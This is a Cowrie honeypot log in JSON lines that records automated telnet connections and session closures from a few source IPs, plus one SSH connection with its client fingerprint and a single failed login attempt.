{"eventid":"cowrie.session.closed","duration":30.44480037689209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:05.115240Z","src_ip":"192.119.108.58","session":"9f383706f96d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":45932,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9affc5974bf","protocol":"telnet","message":"New connection: 162.241.141.97:45932 (159.203.135.109:23) [session: a9affc5974bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:05.238468Z"}
{"eventid":"cowrie.session.closed","duration":30.57077956199646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:05.410939Z","src_ip":"192.119.108.58","session":"3e373d8489e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":46630,"dst_ip":"159.203.135.109","dst_port":23,"session":"086dd28c6a4d","protocol":"telnet","message":"New connection: 162.241.141.97:46630 (159.203.135.109:23) [session: 086dd28c6a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:05.540506Z"}
{"eventid":"cowrie.session.closed","duration":30.96324372291565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:06.225876Z","src_ip":"192.119.108.58","session":"2fd6c8db77c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.617303609848022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:06.293456Z","src_ip":"192.119.108.58","session":"282d810d87d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36632,"dst_ip":"159.203.135.109","dst_port":23,"session":"790133cf5ade","protocol":"telnet","message":"New connection: 192.119.108.58:36632 (159.203.135.109:23) [session: 790133cf5ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:06.501125Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36186,"dst_ip":"159.203.135.109","dst_port":23,"session":"e68427954d2d","protocol":"telnet","message":"New connection: 192.119.108.58:36186 (159.203.135.109:23) [session: e68427954d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:09.091413Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":33350,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3b5d9cdaed1","protocol":"telnet","message":"New connection: 185.26.126.47:33350 (159.203.135.109:23) [session: a3b5d9cdaed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:09.600487Z"}
{"eventid":"cowrie.session.closed","duration":31.167805433273315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:09.658302Z","src_ip":"162.241.141.97","session":"926cebed3e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26724147796631,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:10.764115Z","src_ip":"80.241.210.166","session":"c86524c5dbd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74137282371521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:11.172488Z","src_ip":"162.241.141.97","session":"f993180b3add","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":54824,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4f92c8bac4f","protocol":"telnet","message":"New connection: 162.241.141.97:54824 (159.203.135.109:23) [session: c4f92c8bac4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:12.235822Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2061aa2c38d","protocol":"telnet","message":"New connection: 192.119.108.58:41512 (159.203.135.109:23) [session: d2061aa2c38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:12.328743Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41984,"dst_ip":"159.203.135.109","dst_port":23,"session":"f364a7448107","protocol":"telnet","message":"New connection: 192.119.108.58:41984 (159.203.135.109:23) [session: f364a7448107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:12.874203Z"}
{"eventid":"cowrie.session.closed","duration":30.213846683502197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:13.127058Z","src_ip":"192.119.108.58","session":"e694ab3ca484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":59358,"dst_ip":"159.203.135.109","dst_port":23,"session":"336eedb9d388","protocol":"telnet","message":"New connection: 162.241.141.97:59358 (159.203.135.109:23) [session: 336eedb9d388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:17.043704Z"}
{"eventid":"cowrie.session.closed","duration":30.95443892478943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:17.086735Z","src_ip":"192.119.108.58","session":"a5f20e853640","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.417012453079224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:17.843728Z","src_ip":"192.119.108.58","session":"5302488da51d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.816818237304688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:18.025952Z","src_ip":"162.241.141.97","session":"b8671d68ded1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.369893074035645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:18.092217Z","src_ip":"192.119.108.58","session":"f722d8306b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36937975883484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:18.342344Z","src_ip":"192.119.108.58","session":"a4258a3ee02a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92707896232605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:19.148091Z","src_ip":"192.119.108.58","session":"8a6edb2f5060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48672604560852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:19.193081Z","src_ip":"192.119.108.58","session":"84177b7a24be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67923402786255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:20.213635Z","src_ip":"192.119.108.58","session":"56570bb32fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92914891242981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:20.247786Z","src_ip":"192.119.108.58","session":"7c3054381982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0387237071991,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:20.275057Z","src_ip":"192.119.108.58","session":"1107543dbc91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07818102836609,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:22.256509Z","src_ip":"192.119.108.58","session":"8cb519f4d600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.404299020767212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:23.020240Z","src_ip":"162.241.141.97","session":"b24c75fdf29a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49170,"dst_ip":"159.203.135.109","dst_port":23,"session":"24613a7cecbf","protocol":"telnet","message":"New connection: 192.119.108.58:49170 (159.203.135.109:23) [session: 24613a7cecbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:23.154621Z"}
{"eventid":"cowrie.session.closed","duration":30.966192483901978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:23.308592Z","src_ip":"192.119.108.58","session":"e657c5a0b402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836177110671997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:24.038927Z","src_ip":"162.241.141.97","session":"682d1036f6e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":41904,"dst_ip":"159.203.135.109","dst_port":23,"session":"b19f444ed347","protocol":"telnet","message":"New connection: 162.241.141.97:41904 (159.203.135.109:23) [session: b19f444ed347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:24.204990Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":56840,"dst_ip":"10.17.0.5","dst_port":23,"session":"a26f9bcad7bf","protocol":"telnet","message":"New connection: 80.241.210.166:56840 (10.17.0.5:23) [session: a26f9bcad7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:24.536890Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49780,"dst_ip":"159.203.135.109","dst_port":23,"session":"d642e646d289","protocol":"telnet","message":"New connection: 192.119.108.58:49780 (159.203.135.109:23) [session: d642e646d289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:25.896319Z"}
{"eventid":"cowrie.session.closed","duration":30.97519874572754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:27.166391Z","src_ip":"192.119.108.58","session":"8d4d556f06fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":47078,"dst_ip":"159.203.135.109","dst_port":23,"session":"2908c8621cde","protocol":"telnet","message":"New connection: 162.241.141.97:47078 (159.203.135.109:23) [session: 2908c8621cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:28.859143Z"}
{"eventid":"cowrie.session.closed","duration":30.869822025299072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:29.114994Z","src_ip":"80.241.210.166","session":"5192e99ae6f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":47658,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c4c3b30e2d6","protocol":"telnet","message":"New connection: 162.241.141.97:47658 (159.203.135.109:23) [session: 0c4c3b30e2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:29.226866Z"}
{"eventid":"cowrie.session.closed","duration":31.036686420440674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:29.586663Z","src_ip":"162.241.141.97","session":"aae8141426b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739896059036255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:30.054778Z","src_ip":"192.119.108.58","session":"4c2743056006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":49746,"dst_ip":"159.203.135.109","dst_port":23,"session":"53d497372b85","protocol":"telnet","message":"New connection: 162.241.141.97:49746 (159.203.135.109:23) [session: 53d497372b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:30.131492Z"}
{"eventid":"cowrie.session.closed","duration":31.145485401153564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:30.179802Z","src_ip":"192.119.108.58","session":"59f5e1721a03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835037231445312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:31.026654Z","src_ip":"192.119.108.58","session":"561972506938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54466,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c682510d43b","protocol":"telnet","message":"New connection: 192.119.108.58:54466 (159.203.135.109:23) [session: 2c682510d43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:31.188941Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57370,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc44cf653c1","protocol":"telnet","message":"New connection: 192.119.108.58:57370 (159.203.135.109:23) [session: 5cc44cf653c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:31.670526Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59338,"dst_ip":"159.203.135.109","dst_port":23,"session":"452d167a40f9","protocol":"telnet","message":"New connection: 192.119.108.58:59338 (159.203.135.109:23) [session: 452d167a40f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:34.142556Z"}
{"eventid":"cowrie.session.closed","duration":31.67688512802124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:34.917280Z","src_ip":"192.119.108.58","session":"027799bdc088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.379883527755737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:35.004398Z","src_ip":"162.241.141.97","session":"99558472dcda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760595321655273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:35.998951Z","src_ip":"162.241.141.97","session":"a9affc5974bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":58390,"dst_ip":"159.203.135.109","dst_port":23,"session":"938da58cac4f","protocol":"telnet","message":"New connection: 162.241.141.97:58390 (159.203.135.109:23) [session: 938da58cac4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:36.429365Z"}
{"eventid":"cowrie.session.closed","duration":31.164847135543823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:36.705224Z","src_ip":"162.241.141.97","session":"086dd28c6a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.708582401275635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:37.209589Z","src_ip":"192.119.108.58","session":"790133cf5ade","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33858,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4bed9335713","protocol":"telnet","message":"New connection: 192.119.108.58:33858 (159.203.135.109:23) [session: d4bed9335713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:37.765104Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33896,"dst_ip":"159.203.135.109","dst_port":23,"session":"1805876a8908","protocol":"telnet","message":"New connection: 192.119.108.58:33896 (159.203.135.109:23) [session: 1805876a8908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:37.792467Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35734,"dst_ip":"159.203.135.109","dst_port":23,"session":"92176d6d1d9f","protocol":"telnet","message":"New connection: 192.119.108.58:35734 (159.203.135.109:23) [session: 92176d6d1d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:40.134025Z"}
{"eventid":"cowrie.session.closed","duration":31.329909801483154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:40.421184Z","src_ip":"192.119.108.58","session":"e68427954d2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":34734,"dst_ip":"159.203.135.109","dst_port":23,"session":"191acdc0c578","protocol":"telnet","message":"New connection: 162.241.141.97:34734 (159.203.135.109:23) [session: 191acdc0c578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:40.829279Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35272,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8413eb859b4","protocol":"telnet","message":"New connection: 162.241.141.97:35272 (159.203.135.109:23) [session: b8413eb859b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:41.180341Z"}
{"eventid":"cowrie.session.closed","duration":30.86264133453369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:43.098110Z","src_ip":"162.241.141.97","session":"c4f92c8bac4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35824,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1b653000b0b","protocol":"telnet","message":"New connection: 192.119.108.58:35824 (159.203.135.109:23) [session: e1b653000b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:43.278936Z"}
{"eventid":"cowrie.session.closed","duration":31.01526141166687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:43.343867Z","src_ip":"192.119.108.58","session":"d2061aa2c38d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509419918060303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:43.383494Z","src_ip":"192.119.108.58","session":"f364a7448107","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37254,"dst_ip":"159.203.135.109","dst_port":23,"session":"eee8c5864471","protocol":"telnet","message":"New connection: 192.119.108.58:37254 (159.203.135.109:23) [session: eee8c5864471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:45.156415Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39906,"dst_ip":"159.203.135.109","dst_port":23,"session":"83af5b47d804","protocol":"telnet","message":"New connection: 192.119.108.58:39906 (159.203.135.109:23) [session: 83af5b47d804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:45.754851Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38252,"dst_ip":"159.203.135.109","dst_port":23,"session":"e20d9e65e1ae","protocol":"telnet","message":"New connection: 192.119.108.58:38252 (159.203.135.109:23) [session: e20d9e65e1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:46.575305Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40670,"dst_ip":"159.203.135.109","dst_port":23,"session":"17c3f78903e3","protocol":"telnet","message":"New connection: 192.119.108.58:40670 (159.203.135.109:23) [session: 17c3f78903e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:46.740232Z"}
{"eventid":"cowrie.session.closed","duration":31.04892325401306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:48.092386Z","src_ip":"162.241.141.97","session":"336eedb9d388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44964,"dst_ip":"159.203.135.109","dst_port":23,"session":"07d85869c03d","protocol":"telnet","message":"New connection: 162.241.141.97:44964 (159.203.135.109:23) [session: 07d85869c03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:48.098300Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42032,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b0209b1471","protocol":"telnet","message":"New connection: 192.119.108.58:42032 (159.203.135.109:23) [session: 32b0209b1471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:48.551161Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":43102,"dst_ip":"159.203.135.109","dst_port":22,"session":"62277d5897f1","protocol":"ssh","message":"New connection: 80.94.92.168:43102 (159.203.135.109:22) [session: 62277d5897f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:52.875914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:52.982018Z","src_ip":"80.94.92.168","session":"62277d5897f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:53.206478Z","src_ip":"80.94.92.168","session":"62277d5897f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46248,"dst_ip":"159.203.135.109","dst_port":23,"session":"951060237dea","protocol":"telnet","message":"New connection: 192.119.108.58:46248 (159.203.135.109:23) [session: 951060237dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:53.299330Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46636,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e243e4cba46","protocol":"telnet","message":"New connection: 192.119.108.58:46636 (159.203.135.109:23) [session: 5e243e4cba46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:53.655206Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:53.811970Z","src_ip":"80.94.92.168","session":"62277d5897f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.730188846588135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:54.884668Z","src_ip":"192.119.108.58","session":"24613a7cecbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.44935417175293,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:55.049715Z","src_ip":"185.26.126.47","session":"a3b5d9cdaed1","protocol":"telnet"}
